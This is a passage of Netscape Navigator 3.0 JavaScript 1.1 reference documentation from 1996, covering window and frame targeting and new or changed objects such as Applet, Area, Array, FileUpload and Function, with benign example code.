musicForm in a window named checkboxWin. The statements determine if a checkbox is checked,
check the checkbox, determine if the second option of a select object is selected, and select the
second option of the select object. Even though object values are changed in checkboxWin, the
current window remains active: checking the checkbox and selecting the selection option do not
give focus to the window.

// Determine if a checkbox is checked


if (checkboxWin.document.musicForm.checkbox2.checked) {
alert('The checkbox on the musicForm in checkboxWin is checked!')}

// Check the checkbox


checkboxWin.document.musicForm.checkbox2.checked=true

// Determine if an option in a select object is selected


if (checkboxWin.document.musicForm.musicTypes.options[1].selected)
{alert('Option 1 is selected!')}

// Select an option in a select object


checkboxWin.document.musicForm.musicTypes.selectedIndex=1

Example 3: refer to a frame in another window. The following statement refers to a frame
named frame2 that is in a window named window2. The statement changes the background color
of frame2 to violet. The frame name, frame2, must be specified in the <FRAMESET> tag that
creates the frameset.

window2.frame2.document.bgColor="violet"

Referring to a window in a form submit or hypertext link


Use a window's name (not the window variable) when referring to a window as the target of a
form submit or hypertext link (the TARGET attribute of a <FORM> or <A> tag). The window

6 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

you specify is the window that the link is loaded into or, for a form, the window that server
responses are displayed in.

Example 1: second window. The following example creates a hypertext link to a second
window. The example has a button that opens a window named window2, then a link that loads
the file doc2.html into the newly opened window, then a button that closes the window.

<P>
<INPUT TYPE="button" VALUE="Open window2"
onClick="msgWindow=window.open('','window2','resizable=no,width=200,height=200')">
<P>
<A HREF="doc2.html" TARGET="window2"> Load a file into window2</A>
<P>
<INPUT TYPE="button" VALUE="Close window2"
onClick="msgWindow.close()">

Example 2: anchor in a second window. The following example creates a hypertext link to an
anchor in a second window. The link displays the anchor named numbers in the file doc2.html in
the window window2. If window2 does not exist, it is created.

<A HREF="doc2.html#numbers" TARGET="window2">Numbers</A>

Example 3: frame name. The following example creates a hypertext link to an anchor in a
frame. The link displays the anchor named abs_method in the file sesame.html in the frame
named "contentFrame". The frame must be within the current frameset and the frame name must
be defined in the NAME attribute of a <FRAME> tag.

<A HREF="sesame.html#abs_method" TARGET="contentFrame">abs</A>

Example 4: literal frame name. The following example creates a hypertext link to a file. The
link displays the file named artists.html in the parent window of the current frameset. This link
object appears in a frame within a frameset, and when the user clicks the link, all frames in the
frameset disappear and the content of artists.html is loaded into the parent window.

<A HREF="artists.html" TARGET="_parent">


<B>Musician Descriptions</B></A>

Navigating among windows


Many Navigator windows can be open at the same time. The user can move among these
windows by clicking them to give them focus. You can give focus to a window programmatically
by giving focus to an object in the window or by specifying the window as the target of a
hypertext link. Although you can change an object's values in a second window, that does not
make the second window active: the current window remains active.

The active window is the window that has focus. When a window has focus, it is brought to the
front and changes in some visual way. For example, the window's title bar might change to a
different color. The visual cue varies depending on the platform you are using.

Example 1: give focus to an object in another window. The following statement gives focus to
a text object named city in a window named checkboxWin. Because the text object is gaining
focus, checkboxWin also gains focus and becomes the active window. The example also shows
the statement that creates checkboxWin.

7 of 8 30.08.96 16:08
http://www.netscape.com...avascript/winframe.html http://www.netscape.com/eng/mozilla/3.0/handbook/javascript/winframe.html

checkboxWin=window.open("doc2.html")
...
checkboxWin.document.musicForm.city.focus()

Example 2: give focus to another window using a hypertext link. The following statement
specifies window2 as the target of a hypertext link. When the user clicks the link, focus switches
to window2. If window2 does not exist, it is created.

<A HREF="doc2.html" TARGET="window2"> Load a file into window2</A>

8 of 8 30.08.96 16:08
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

JavaScript in Navigator 3.0


This is documentation of JavaScript 1.1, as implemented in Navigator 3.0.

COMING SOON: these sections will be integrated into the body of the JavaScript Guide. For
now, the body of the JavaScript Guide is based on Navigator 2.0, and the new and changed
features are noted in this document.

·
·
Summary of new JavaScript features
Reference topics

Summary of new features


The following lists summarize the changes and additions to JavaScript since Navigator 2.0.

Navigator JavaScript features


Java applets, plug-ins, and security

·
·
LiveConnect: Java-JavaScript communication
Determining installed plug-ins
· Data tainting

New objects

·
·
Area object defines image maps
Function object specifies a string of JavaScript code to be compiled as a function
· Image object reflects images

New properties

·
·
opener property specifies the window of the calling document
type property specifies the type of form element

New methods

·
·
blur and focus methods now work for windows
close method has new security enhancements
·
·
javaEnabled method specifies whether Java is enabled
reload method forces a reload of the window's current document
·
·
replace method loads the specified URL over the current history entry
reset method simulates a mouse click on a reset button
·
·
scroll method scrolls a window
split method splits a String object into an array of strings

Forms and form elements

· Programmatically modifiable Select objects and the ability to add options using the Option()

1 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

constructor
·
·
Form element type property
FileUpload object

Events and event handlers

·
·
onAbort event handler executes JavaScript code the user aborts loading of an image
onBlur and onFocus event handlers now apply to windows and framesets
· onError event handler executes JavaScript code when the loading of a document or image
causes an error
· onMouseOut event handler executes JavaScript code when the mouse pointer leaves an area
(client-side image map) or link
·
·
onReset event handler executes JavaScript code when a reset event occurs
Calling event handlers explicitly
· Canceling events in onClick

HTML tags and attributes

·
·
JavaScript entities for HTML attribute values
SRC attribute of <SCRIPT> tag allows you to use JavaScript code in an external file
· <NOSCRIPT> tag displays alternate content for old browsers or when the user has disabled
JavaScript in Navigator.

JavaScript 1.1 language features


Note: These language features are not incorporated in LiveWire 1.0.

· Array objects: standard arrays now built-in to the language. They have some methods: join,
reverse, and sort.
·
·
The Math object's random method works on all platforms.
New String object features, and the new split method of strings.
·
·
The isNaN, parseFloat, and parseInt functions work on all platforms.
Object prototypes: can have properties shared by all objects of the same type.
· Indexing object properties: Either use a numeral index or a string (as in an associative
array), but not both for the same property.
·
·
typeof operator: returns the data type of its operand.
void operator: specifies an expression to be evaluated without returning a value.
· toString method converts an object into a string

Reference topics
The following topics are changes or additions to the JavaScript Reference.

2 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

New JavaScript features Changed JavaScript features


·
·
Applet
Area
·
·
arguments
blur
·
·
Array
atan2
·
·
Button
Checkbox
·
·
border
complete
·
·
close (window object)
Date
·
·
description
enabledPlugin
·
·
defaultSelected
Document
·
·
filename
FileUpload
·
·
focus
Form
·
·
Function
height
·
·
Frame
hash
·
·
hspace
Image
·
·
Hidden
host
·
·
javaEnabled
join
·
·
hostname
href
·
·
lowsrc
mimeTypes
·
·
index
isNaN
·
·
onAbort
onError
·
·
length
Link (links array)
·
·
onMouseOut
onReset
·
·
Location
Math
·
·
opener
Option
·
·
name
navigator
·
·
Plugin
plugins array
·
·
onBlur
onClick
·
·
prototype
reload
·
·
onFocus
onLoad
·
·
replace
reset
·
·
onMouseOver
onSubmit
·
·
reverse
scroll
·
·
Password
pathname
·
·
sort
split
·
·
port
protocol
·
·
src
suffixes
·
·
Radio
random
·
·
taint
toString
·
·
Reset
search
·
·
type
typeof
·
·
Select
selected
·
·
untaint
void
·
·
String
Submit
·
·
vspace
width
·
·
target
Text object
·
·
text property
Textarea
·
·
value
Window

Applet

3 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<<New.>>

Object. Includes a Java applet in a web page.

HTML syntax
<APPLET
CODE= classFileName
HEIGHT= height
WIDTH= width
MAYSCRIPT
[NAME= appletName]
[CODEBASE= classFileDirectory]
[ALT= alternateText]
[ALIGN="left"|"right"|
"top"|"absmiddle"|"absbottom"|
"texttop"|"middle"|"baseline"|"bottom"]
[HSPACE= spaceInPixels]
[VSPACE= spaceInPixels]>
[<PARAM NAME= parameterName VALUE= parameterValue>]
[ ... <PARAM>]
</APPLET>

HTML attributes
CODE=classFileName specifies the file name of the applet that you want to load. This file name
must end in a .class extension.

HEIGHT=height specifies the height of the applet in pixels within the browser window.

WIDTH=width specifies the width of the applet in pixels within the browser window.

MAYSCRIPT permits the applet to access JavaScript. Use this attribute to prevent an applet from
accessing JavaScript on a page without your knowledge.

NAME=appletName specifies the name of the applet. You can access this value using the name
property.

CODEBASE=classFileDirectory specifies directory of the .class file, if it is different from the


directory that contains the HTML page.

ALT=alternateText specifies text to display for browsers that do not support the <APPLET> tag.

ALIGN=alignment specifies the alignment of the applet on the HTML page.

HSPACE=spaceInPixels specifies a horizontal margin for the applet, in pixels, within the browser
window.

VSPACE=spaceInPixels specifies a vertical margin for the applet, in pixels, within the browser
window.

<PARAM> defines a parameter for the applet.

NAME=parameterName specifies the name of the parameter.

4 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

VALUE=parameterValue> specifies a value for the parameter.

Syntax
To use an applet object:

1. appletName.propertyName
2. document.applets[ index].propertyName

Parameters
appletName is the value of the NAME attribute of an Applet object.

index is an integer representing applet in a document or a string containing the name of an Applet
object.

propertyName is one of the properties listed below.

Property of
Document

Implemented in
Navigator 3.0

Description
The author of an HTML page must permit an applet to access JavaScript by specifying the
MAYSCRIPT attribute of the APPLET tag. This prevents an applet from accessing JavaScript on
a page without the knowledge of the page author. For example, to allow the musicPicker.class
applet access to JavaScript on your page, specify the following:

<APPLET CODE = "musicPicker.class" WIDTH=200 HEIGHT=35 NAME="musicApp" MAYSCRIPT>

Accessing JavaScript when the MAYSCRIPT attribute is not specified results in an exception.

For more information on using applets, see LiveConnect: Java-JavaScript communication.

The applets array

You can reference the applets in your code by using the applets array. This array contains an
entry for each Applet object (<APPLET> tag) in a document in source order. For example, if a
document contains three applets, these applets are reflected as document.applets[0] ,
document.applets[1] , and document.applets[2] .

To use the applets array:

1. document.applets[ index]
2. document.applets.length

index is an integer representing an applet in a document or a string containing the name of an


Applet object.

5 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

To obtain the number of applets in a document, use the length property:


document.applets.length .

Elements in the applets array are read-only. For example, the statement
document.applets[0]="myApplet.class" has no effect.

Properties
The Applet object has the following properties:

Property Description
name Reflects the NAME attribute

Methods

· None.

Event handlers

· None.

Examples
The following code launches an applet called "musicApp":

<APPLET CODE="musicSelect.class" WIDTH=200 HEIGHT=35 NAME="musicApp" MAYSCRIPT>


</APPLET>

For more examples, see LiveConnect: Java-JavaScript communication.

See also
mimeTypes, Plugin objects

Area
<<New.>>

Object. Defines an area of an image as an image map. When the user clicks the area, the area's
hypertext reference is loaded into its target window.

HTML syntax
To define an area, use standard HTML syntax with the addition of the onMouseOut and
onMouseOver event handlers:

<MAP NAME=" mapName">


<AREA
[NAME="areaName"]
COORDS=" x1,y1,x2,y2,..."|" x-center,y-center,radius"
HREF=" location"

6 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

[SHAPE="rect"|"poly"|"circle"|"default"]
[TARGET=" windowName"]
[onMouseOut=" handlerText"]
[onMouseOver=" handlerText"]>
</MAP>

HTML attributes
NAME="mapName" specifies the name of the map. You can specify this map name in the
USEMAP attribute of the <IMG> tag.

AREA defines an area of an image as an image map.

NAME="areaName" specifies the name of the Area object. This attribute is not reflected in
JavaScript (you cannot refer to an Area object by name).

COORDS specifies the coordinates of the image map.

HREF="location" specifies the URL of the document to load when a user clicks the area. Any
region of an image that does not have an HREF attribute does not function as a hyperlink. This
attribute is required if you include the onMouseOut and onMouseOver event handlers.

SHAPE specifies the shape of the map. "default" specifies a region as the default. If omitted,
"rect" is used.

TARGET="windowName" specifies the window that the link is loaded into. windowName can be
an existing window; it can be a frame name specified in a <FRAMESET> tag; or it can be one of
the literal frame names _top, _parent, _self, or _blank; it cannot be a JavaScript expression (for
example, it cannot be parent.frameName or windowName.frameName).

Syntax
To use an Area object's properties:

1. areaName.propertyName
2. document.links[ index].propertyName

Parameters
areaName is the value of the NAME attribute of an Area object.

index is an integer representing area in a document or a string containing the name of an Area
object

propertyName is one of the properties listed below.

Property of
Document

Implemented in
Navigator 3.0

7 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Description
Area objects are in the links array. You cannot refer to an Area object by name; you must use the
links array. For example, if a document contains three area objects, these objects are reflected as
document.links[0] , document.links[1] , and document.links[2] . For information on the links
array, see the Link object.

The HREF attribute is required for Area objects that use the onMouseOut or onMouseOver event
handlers. However, if you create an Area for an image and do not want the image to link to a
hypertext reference when clicked, specify a JavaScript function in the area's HREF attribute by
using the javascript: URL protocol. For example, if a user clicks the following Area object, the
function onTop executes.

<MAP NAME="worldMap">
<AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:onTop()"
onMouseOver="self.status='You are on top of the world';return true"
onMouseOut="self.status='You have left the top of the world';return true">
</MAP>

If you want an area's link to do nothing, use javascript:void(0) in the HREF attribute. When
the user clicks the following Area object, nothing happens:

<MAP NAME="worldMap">
<AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:void(0)"
onMouseOver="self.status='You are on top of the world';return true"
onMouseOut="self.status='You have left the top of the world';return true">
</MAP>

Properties
The Area object has the following properties:

Property Description
hash Specifies an anchor name in the URL
host Specifies the host and domain name, or IP address, of a network host
hostname Specifies the host:port portion of the URL
href Specifies the entire URL
pathname Specifies the url-path portion of the URL
port Specifies the communications port that the server uses for communications
protocol Specifies the beginning of the URL, including the colon (:)
search Specifies a query
target Reflects the TARGET attribute

Methods
None

Event handlers

·
·
onMouseOut
onMouseOver

8 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Examples

Example 1. onMouseOver and onMouseOut event handlers. The following example displays
an image, globe.gif . The image uses an image map that defines areas for the top half and the
bottom half of the image. The onMouseOver and onMouseOut event handlers display different
status bar messages depending on whether the mouse passes over or leaves the top half or bottom
half of the image. The HREF attribute is required when using the onMouseOver and onMouseOut
event handlers, but in this example the image does not need a hypertext link, so the HREF
attribute executes javascript:void(0) , which does nothing (see the void operator for more
information).

<MAP NAME="worldMap">
<AREA NAME="topWorld" COORDS="0,0,50,25" HREF="javascript:void(0)"
onMouseOver="self.status='You are on top of the world';return true"
onMouseOut="self.status='You have left the top of the world';return true">
<AREA NAME="bottomWorld" COORDS="0,25,50,50" HREF="javascript:void(0)"
onMouseOver="self.status='You are on the bottom of the world';return true"
onMouseOut="self.status='You have left the bottom of the world';return true">
</MAP>
<IMG SRC="images\globe.gif" ALIGN="top" HEIGHT="50" WIDTH="50" USEMAP="#worldMap">

Example 2. Refer to object with links array. The following code refers to the href property of
the first Area object shown in Example 1.

document.links[0].href

Example 3. Simulate onClick with HREF attribute. The following example uses an Area
object's HREF attribute to execute a JavaScript function. The image displayed, colors.gif ,
shows two sample colors. The top half of the image is the color "antiquewhite", and the bottom
half is "white". When the user clicks the top or bottom half of the image, the function setBGColor
changes the document's background color to the color shown in the image.

<SCRIPT>
function setBGColor(theColor) {
document.bgColor=theColor
}
</SCRIPT>
Click the color you want for this document's background color
<MAP NAME="colorMap">
<AREA NAME="topColor" COORDS="0,0,50,25" HREF="javascript:setBGColor('antiquewhite')">
<AREA NAME="bottomColor" COORDS="0,25,50,50" HREF="javascript:setBGColor('white')">
</MAP>
<IMG SRC="images\colors.gif" ALIGN="top" HEIGHT="50" WIDTH="50" USEMAP="#colorMap">

See also
Image object; void operator

arguments
<<Changed.>>

The arguments property is now a property of the Function object.

Syntax

9 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

To specify the arguments array from within a Function object:

this.arguments[ index]

Property of

· Function object

Array
<<New.>>

Object. Lets you create arrays and work with them.

Syntax
To create an Array object:

1. arrayObjectName = new Array()


2. arrayObjectName = new Array( arrayLength)

To use Array objects:

1. arrayObjectName.propertyName
2. arrayObjectName.methodName(parameters)

Parameters
arrayObjectName is either the name of a new object or a property of an existing object.

arrayLength is the initial length of the array. You can access this value using the length property

propertyName is one of the properties listed below.

methodName is one of the methods listed below.

Property of
None.

Implemented in
Navigator 3.0

Description
The Array object is a built-in JavaScript object.

You can specify an initial length when you create the array. The following code creates an array
of five elements:

10 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

billingMethod = new Array(5)

When you create an array, all of its elements are initially null. The following code creates an array
of 25 elements, then assigns values to the first three elements:

musicTypes = new Array(25)


musicTypes[0] = "R&B"
musicTypes[1] = "Blues"
musicTypes[2] = "Jazz"

An array's length increases if you assign a value to an element higher than the current length of
the array. The following code creates an array of length zero, then assigns a value to element 99.
This changes the length of the array to 100.

colors = new Array()


colors[99] = "midnightblue"

You can construct a dense array of two or more elements starting with index 0 if you define initial
values for all elements. A dense array is one in which each element has a value. The following
code creates a dense array with three elements:

myArray = new Array("Hello", myVar, 3.14159)

Properties
The Array object has the following properties:

Property Description
length Reflects the number of elements in an array
prototype Lets you add a properties to an Array object.

Methods

·
·
join
reverse
· sort

Event handlers

· None. Built-in objects do not have event handlers.

Examples
The following example creates an array, msgArray, with a length of 0, then assigns values to
msgArray[0] and msgArray[99], changing the length of the array to 100.

msgArray = new Array()


msgArray [0] = "Hello"
msgArray [99] = "world"
if (msgArray .length == 100) // This is true, because defined msgArray [99] elemen
document.write("The length is 100.")

See also the examples for the onError event handler.

See also

11 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Image object

atan2
<<New.>>

Method. Returns the angle (theta component) of the polar coordinate (r,theta) that corresponds to
the specified cartesian coordinate (x,y).

Note: This method existed in 2.0 but was undocumented.

Syntax
Math.atan2( x,y)

Parameters
x is either a numeric expression or a property of an existing object, representing the cartesian
x-coordinate.

y is either a numeric expression or a property of an existing object, representing the cartesian


y-coordinate.

Method of
Math

Implemented in
Navigator 2.0

Description
The atan2 method returns a numeric value.

Examples
The following function returns the angle of the polar coordinate:

function getAtan2(x,y) {
return Math.atan2(x,y)
}

If you pass getAtan2 the values (90,15), it returns 1.4056476493802699; if you pass it the values
(15,90), it returns 0.16514867741462683.

See also
acos, asin, atan, cos, sin, tan methods

12 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

blur
<<Changed.>>

The blur method is now a method of the frame and window objects. The blur method removes
focus from the window or frame. Removing focus sends a window to the background in most
windowing systems.

Syntax

The following syntax has been added for the blur method:

frameReference.focus()
windowReference.blur()

Parameters
frameReference is a valid way of referring to a frame, as described in the Frame object.

windowReference is a valid way of referring to a window, as described in the Window object.

Method of

·
·
Frame
Window

border
<<New.>>

Property. A string specifying the width, in pixels, of an image border.

Syntax
imageName.border

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
The border property reflects the BORDER attribute of the <IMG> tag. For images created with

13 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

the Image() constructor, the value of the border property is 0.

border is a read-only property.

Examples
The following function displays the value of an image's border property if the value is not zero.

function checkBorder(theImage) {
if (theImage.border==0) {
alert('The image has no border!')
}
else alert('The image's border is ' + theImage.border)
}

See also
height, hspace, vspace, width properties

Button
<<Changed.>>

The following properties have been added to the Button object:

Property Description
type Reflects the TYPE attribute

Checkbox
<<Changed.>>

The following properties have been added to the Checkbox object:

Property Description
type Reflects the TYPE attribute

close (window object)


<<Changed.>>

The close method now closes only windows opened by JavaScript using the open method. If you
attempt to close any other window, a confirm is generated, which lets the user choose whether the
window closes. This is a security feature to prevent "mail bombs" containing self.close() .
However, if the window has only one document (the current one) in its session history, the close
is allowed without any confirm. This is a special case for one-off windows that need to open other
windows and then dispose of themselves.

14 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

complete
<<New.>>

Property. A boolean value that indicates whether Navigator has completed its attempt to load an
image.

Syntax
imageName.complete

Parameters
imageName is either the name of an Image object or an element in the images array.

Property of
Image

Implemented in
Navigator 3.0

Description
complete is a read-only property.

Examples
The following example displays an image and three radio buttons. The user can click the radio
buttons to choose which image is displayed. Clicking another button lets the user see the current
value of the complete property.

<B>Choose an image:</B>
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image1" CHECKED
onClick="document.images[0].src='f15e.gif'">F-15 Eagle
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image2"
onClick="document.images[0].src='f15e2.gif'">F-15 Eagle 2
<BR><INPUT TYPE="radio" NAME="imageChoice" VALUE="image3"
onClick="document.images[0].src='ah64.gif'">AH-64 Apache

<BR><INPUT TYPE="button" VALUE="Is the image completely loaded?"


onClick="alert('The value of the complete property is '
+ document.images[0].complete)">
<BR>
<IMG NAME="aircraft" SRC="f15e.gif" ALIGN="left" VSPACE="10"><BR>

See also
lowsrc, src properties

Date

15 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<<Changed.>>

The following properties have been added to the Date object:

Property Description
prototype Lets you add a properties to a Date object.

defaultSelected
<<Changed.>>

The defaultSelected property is now a property of the Option object.

Syntax
The following syntax has been added for the defaultSelected property:

optionName.defaultSelected

Parameters
optionName is the name of a Select object option created using the Option() constructor.

Property of

· Option object

description
<<New.>>

Property. This property is currently documented in Determining installed plug-ins with


JavaScript.

Syntax
1. navigator.mimeTypes[ index].description
2. navigator.mimeTypes[ mimeTypeName].description
3. navigator.plugins[ index].description
4. navigator.plugins[ pluginName].description

Implemented in
Navigator 3.0

Document

16 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

<<Changed.>>

Syntax
The following syntax has been added for the Document object:

<BODY>
...
[onBlur=" handlerText"]
[onFocus=" handlerText"]
...
</BODY>

Description
The onBlur and onFocus event handlers are specified in the <BODY> tag but are actually event
handlers for the window object.

Properties
The following properties have been added to the Document object:

Property Description
applets An array reflecting all the applets in a document
embeds An array reflecting all the plugins in a document
images An array reflecting all the images in a document

The following objects are now properties of the Document object


·
·
Applet
Area
·
·
Image
Plugin

Additional description
The following discussions will be added to the documentation for the Document object; however,
this is not new functionality.

Do not use location as a property of the Document object; use the document.URL property
instead. The document.location property, which is a synonym for document.URL, will be removed
in a future release.

You can clear the document pane (and remove the text, form elements, and so on so they do not
redisplay) by using document.close(); document.open(); document.write() . You can omit
the document.open() call if you are writing text or HTML, since write does an implicit open of
that mime type if the document stream is closed.

enabledPlugin
<<New.>>

17 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Property. Returns a reference to the Plugin object for the plug-in that handles that MIME type, or
NULL if no plug-in handles that MIME type.

This property is currently documented in Determining installed plug-ins with JavaScript.

filename
<<New.>>

Property. A plug-in's file name. This property is currently documented in Determining installed
plug-ins with JavaScript.

Syntax
1. navigator.plugins[ index].filename
2. navigator.plugins[ pluginName].filename

Property of
Plugin

Implemented in
Navigator 3.0

FileUpload
<<New.>>

Object. A file upload element on an HTML form. A file upload element lets the user supply a file
as input.

HTML syntax
To define a FileUpload object, use standard HTML syntax:

<INPUT
TYPE="file"
NAME=" fileUploadName">

HTML attributes
NAME="fileUploadName" specifies the name of the FileUpload object (this is not the name of
the file to upload). You can access this value using the name property.

Syntax
To use a FileUpload object's properties:

fileUploadName.propertyName

18 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

Parameters
fileUploadName is the value of the NAME attribute of a FileUpload object.

propertyName is one of the properties listed below.

Property of
Form

Implemented in
Navigator 3.0

Description
You can place a FileUpload object on a form but you cannot use JavaScript to modify it in any
way.

Properties
The FileUpload object has the following properties:

Property Description
name Reflects the NAME attribute
value Reflects the current value of the file upload element's field; this corresponds to the
name of the file to upload. This is a read-only property.

Methods

· None.

Event handlers

· None.

Examples
The following example places a FileUpload object on a form and provides two buttons that let the
user display current values of the name and value properties.

<FORM NAME="form1">
File to send: <INPUT TYPE="file" NAME="myUploadObject">
<P>Get properties<BR>
<INPUT TYPE="button" VALUE="name"
onClick="alert('name: ' + document.form1.myUploadObject.name)">
<INPUT TYPE="button" VALUE="value"
onClick="alert('value: ' + document.form1.myUploadObject.value)"><BR>
</FORM>

See also

19 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

text object

focus
<<Changed.>>

The focus method is now a method of the frame and window objects. The focus method gives
focus to a window or frame. Giving focus brings a window forward in most windowing systems.

Syntax

The following syntax has been added for the focus method:

frameReference.focus()
windowReference.focus()

Parameters
frameReference is a valid way of referring to a frame, as described in the Frame object.

windowReference is a valid way of referring to a window, as described in the Window object.

Method of

·
·
Frame
Window

Form
<<Changed.>>

The following has been added to the Form object's syntax:

[onReset=" handlerText"]

The following objects are now properties of the Form object


· FileUpload

The following methods have been added to the Form object


· reset

The following event handlers have been added to the Form object
· onReset

Frame
<<Changed.>>

Syntax

20 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

The following syntax has been added for defining an onBlur or onFocus event handler for a
frameset (framesets are windows that have non-empty frames arrays):

<FRAMESET>
...
[<FRAME SRC="locationOrURL" NAME="frameName">]
[onBlur=" handlerText"]
[onFocus=" handlerText"]
...
</FRAMESET>

The following syntax has been added for defining an onBlur or onFocus event handler for a frame
(for frames, you cannot specify these event handlers in HTML):

frameReference.onblur= errorHandler
frameReference.onfocus= errorHandler

Parameters
frameReference is a valid way of referring to a frame, as described in the Frame object.

errorHandler is the keyword null, the name of an error-handling function, or a variable or


property that contains null or a valid function reference.

Description
To create an onBlur or onFocus event handler for a frame, you must set the onblur or onfocus
property and specify it in all lowercase (you cannot specify it in HTML).

Event handlers
The following event handlers have been added to framesets and the Frame object:
·
·
onBlur
onFocus

Function
<<New.>>

Object. Specifies a string of JavaScript code to be compiled as a function.

Syntax
functionTarget = new Function ([ arg1, arg2, ... argn], functionBody)

Parameters
functionTarget is the name of a variable or a property of an existing object. It can also be an
object followed by a lowercase event handler name, such as window.onerror .

arg1, arg2, ... argn are string arguments to be used by the function as formal argument names.

21 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

functionBody is a string specifying the JavaScript code to be compiled as the function body.

Implemented in
Navigator 3.0

Description
Function objects are evaluated each time they are used. This is less efficient than declaring a
function and calling it within your code, because declared functions are compiled.

Specifying a variable value with a Function object

The following code assigns a function to the variable setBGColor. This function sets the current
document's background color.

var setBGColor = new Function("document.bgColor='antiquewhite'")

To call the Function object, you can specify the variable name as if it were a function. The
following code executes the function specified by the setBGColor variable:

var colorChoice="antiquewhite"
if (colorChoice=="antiquewhite") {setBGColor()}

You can assign the function to an event handler in either of the following ways:

1. document.form1.colorButton.onclick=setBGColor
2. <INPUT NAME="colorButton" TYPE="button" VALUE="Change background color"
onClick="setBGColor()">

Creating the variable setBGColor shown above is similar to declaring the following function:

function setBGColor() {
document.bgColor='antiquewhite'
}

Assigning a function to a variable is similar to declaring a function, but they have differences:

· When you assign a function to a variable using var setBGColor = new Function("...") ,
setBGColor is a variable for which the current value is a reference to the function created
with new Function() .
· When you create a function using function setBGColor() {...} , setBGColor is not a
variable, it is the name of a function.

Specifying arguments in a Function object

The following code specifies a Function object that takes two arguments.

var multFun = new Function("x", "y", "return x * y")

The string arguments "x" and "y" are formal argument names that are used in the function body,
"return x * y".

The following code shows several ways to call the function multFun:

var theAnswer = multFun(7,6)

22 of 89 30.08.96 15:41
wysiwyg://display.tocfr...k/javascript/atlas.html wysiwyg://display.tocframe.6/http://www....zilla/3.0/handbook/javascript/atlas.html

document.write("15*2 = " + multFun(15,2))

<INPUT NAME="operand1" TYPE="text" VALUE="5" SIZE=5>


<INPUT NAME="operand2" TYPE="text" VALUE="6" SIZE=5>
<INPUT NAME="result" TYPE="text" VALUE="" SIZE=10>
<INPUT NAME="buttonM" TYPE="button" VALUE="Multiply"
onClick="document.form1.result.value=
multFun(document.form1.operand1.value,
document.form1.operand2.value)">

You cannot call the function multFun in an event handler property, because these properties
cannot take arguments. For example, you cannot call the function multFun by setting a button's
onclick property as follows:

document.form1.button1.onclick=multFun(5,10)

Specifying an event handler with a Function object

The following code assigns a function to a window's onFocus event handler (the event handler
must be spelled in all lowercase):

window.onfocus = new Function("document.bgColor='antiquewhite'")

Once you have a reference to a function object, you can use it like a function and it will convert
from an object to a function:

window.onfocus()

Event handlers do not take arguments, you cannot declaring any in the Function() constructor.

Properties
The Function object has the following properties:

Property Description
arguments Corresponds to elements of a function.
prototype Lets you add a properties to a Function object.

Methods

· None

Event handlers

· None

Examples
The following example creates onFocus and onBlur event handlers for a frame. This code exists
in the same file that contains the <FRAMESET> tag. Note that this is the only way to create
